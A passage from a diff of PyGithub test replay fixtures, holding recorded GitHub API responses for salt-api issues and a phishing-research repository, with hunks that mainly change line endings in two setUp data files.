Serving on 0.0.0.0:8888\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTED\r\n","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/73","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/events","html_url":"https://github.com/saltstack/salt-api/issues/73","id":13141224,"number":73,"title":"Add a zero-dep, bare-WSGI REST module","user":{"login":"whiteinge","id":91293,"avatar_url":"https://gravatar.com/avatar/f0bb4c8e95d355891ab9028e4bac480e?d=https%3A%2F%2Fidenticons.github.com%2Fa310e640ddcc1bf22c861dddb9ff4f76.png&r=x","gravatar_id":"f0bb4c8e95d355891ab9028e4bac480e","url":"https://api.github.com/users/whiteinge","html_url":"https://github.com/whiteinge","followers_url":"https://api.github.com/users/whiteinge/followers","following_url":"https://api.github.com/users/whiteinge/following{/other_user}","gists_url":"https://api.github.com/users/whiteinge/gists{/gist_id}","starred_url":"https://api.github.com/users/whiteinge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/whiteinge/subscriptions","organizations_url":"https://api.github.com/users/whiteinge/orgs","repos_url":"https://api.github.com/users/whiteinge/repos","events_url":"https://api.github.com/users/whiteinge/events{/privacy}","received_events_url":"https://api.github.com/users/whiteinge/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":1,"created_at":"2013-04-12T21:56:30Z","updated_at":"2014-03-04T21:13:47Z","closed_at":"2013-04-13T05:57:19Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A bare-bones \"REST\" WSGI app could be accomplished with just the Python stdlib in about ~200 LOC so we might as well. :)\r\n\r\n* Only handles JSON in/out.\r\n* Only provide a single URL.\r\n* Basically mimic the ``/run`` URL in the ``rest_cherrypy`` module.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/49","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/events","html_url":"https://github.com/saltstack/salt-api/issues/49","id":11388256,"number":49,"title":"More information in jobs resource response","user":{"login":"sfdc-kho","id":3269880,"avatar_url":"https://gravatar.com/avatar/79dd31020b3bea2124d60cb5e3cd2edf?d=https%3A%2F%2Fidenticons.github.com%2Fad2f6831adfe0801e929c20710d3e537.png&r=x","gravatar_id":"79dd31020b3bea2124d60cb5e3cd2edf","url":"https://api.github.com/users/sfdc-kho","html_url":"https://github.com/sfdc-kho","followers_url":"https://api.github.com/users/sfdc-kho/followers","following_url":"https://api.github.com/users/sfdc-kho/following{/other_user}","gists_url":"https://api.github.com/users/sfdc-kho/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdc-kho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdc-kho/subscriptions","organizations_url":"https://api.github.com/users/sfdc-kho/orgs","repos_url":"https://api.github.com/users/sfdc-kho/repos","events_url":"https://api.github.com/users/sfdc-kho/events{/privacy}","received_events_url":"https://api.github.com/users/sfdc-kho/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":4,"created_at":"2013-02-26T00:44:05Z","updated_at":"2014-03-04T18:28:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently, the minion response when a job hasn't completed is:\r\nbash-3.2$ curl -i localhost:8000/jobs/20130225115005304834 \\\r\n> -H \"X-Auth-Token: 129c6a5dadd1463932fd9db452b52148c44c6c91\" \\\r\n> -H \"Accept: application/json\"\r\nHTTP/1.1 200 OK\r\nContent-Length: 16\r\nVary: Accept-Encoding\r\nServer: CherryPy/3.2.2\r\nAllow: GET, HEAD, POST\r\nCache-Control: private\r\nDate: Mon, 25 Feb 2013 19:50:12 GMT\r\nContent-Type: application/json\r\nSet-Cookie: session_id=129c6a5dadd1463932fd9db452b52148c44c6c91; expires=Tue, 26 Feb 2013 05:50:12 GMT; Path=/\r\n\r\n{\"return\": [{}]}\r\n\r\nI am using this and a combination of saltutil.running to determine whether the job is still running, dead or completed. However, if the other issues like streaming responses get incorporated, it will become increasingly difficult to detect the state of any given job. Is it possible to return more information about what the state of the job is in the response?\r\n\r\n\r\n","score":1.0}]} - diff --git a/tests/ReplayData/SecretScanningAlert.setUp.txt b/tests/ReplayData/SecretScanningAlert.setUp.txt index 1701809eac..19db0003e1 100644 --- a/tests/ReplayData/SecretScanningAlert.setUp.txt +++ b/tests/ReplayData/SecretScanningAlert.setUp.txt @@ -18,4 +18,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"168623303cdf933a5eda91a18bb2ad76"'), ('date', 'Sat, 19 May 2012 04:49:44 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-18T20:30:15Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T20:30:14Z","size":220,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} \ No newline at end of file +{"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-18T20:30:15Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T20:30:14Z","size":220,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} diff --git a/tests/ReplayData/SelfHostedActionsRunner.setUp.txt b/tests/ReplayData/SelfHostedActionsRunner.setUp.txt index d8e0a32675..3a0b0dc2f7 100644 --- a/tests/ReplayData/SelfHostedActionsRunner.setUp.txt +++ b/tests/ReplayData/SelfHostedActionsRunner.setUp.txt @@ -1,22 +1,21 @@ -https -GET -api.github.com -None -/users/ReDASers -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '166'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB64:1A52:21DA0C9:3A892A5:5F56B372')] -{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"802b1aa7dfdc444115a7dcaca43bb1ba"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '167'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB65:2B38:20EED81:3B5A74E:5F56B372')] -{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTFLFBXEARWZCFARAZK7K22J6","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} - +https +GET +api.github.com +None +/users/ReDASers +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '166'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB64:1A52:21DA0C9:3A892A5:5F56B372')] +{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"802b1aa7dfdc444115a7dcaca43bb1ba"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '167'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB65:2B38:20EED81:3B5A74E:5F56B372')] +{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTFLFBXEARWZCFARAZK7K22J6","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{